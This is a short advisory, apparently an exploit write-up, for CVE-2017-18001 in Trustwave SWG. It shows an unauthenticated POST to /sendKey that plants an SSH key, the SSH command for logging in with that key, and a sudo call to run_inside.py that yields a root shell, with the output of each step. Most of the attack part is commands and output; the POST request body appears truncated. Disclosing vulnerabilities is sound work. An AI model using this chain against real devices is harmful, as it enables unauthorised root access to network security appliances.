|
||
|
||
CVE: CVE-2017-18001
|
||
|
||
## Vulnerability details
|
||
Trustwave SWG allows remote attackers to send to the SWG product a SSH key that will be used by the SWG product as the SSH key to logon to the device.
|
||
|
||
This allows unauthenticated user to send a POST request to /sendKey
|
||
|
||
```
|
||
POST /sendKey HTTP/1.1
|
||
Host: trustwave.device:5222

--xYzZY--
|
||
```
|
||
|
||
Which will add the supplied ssh key to Trustwave SWG, which we can use it to login to the device:
|
||
|
||
|
||
```
|
||
/usr/bin/ssh -q -o PasswordAuthentication=no -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o ServerAliveInterval=10 -i ./test.key commander@trustwave.device

SWG Version : 11.8.0.27
|
||
SWG Maintenance Release : 0
|
||
Role : vs
|
||
Machine Type : NG-6000
|
||
```
|
||
|
||
If we will run the id command via ssh we will get the following response:
|
||
|
||
```
|
||
-sh-4.1$ id
|
||
uid=1000(rsyncuser) gid=48(apache) groups=48(apache)
|
||
```
|
||
|
||
Once we connected to Trustwave SWG via SSH we can run commands as root by accessing /opt/finjan/msh/run_inside.py
|
||
|
||
```
|
||
# sudo /opt/finjan/msh/run_inside.py bash
|
||
bash-4.1# id
|
||
uid=0(root) gid=0(root) groups=0(root)
|
||
``` |
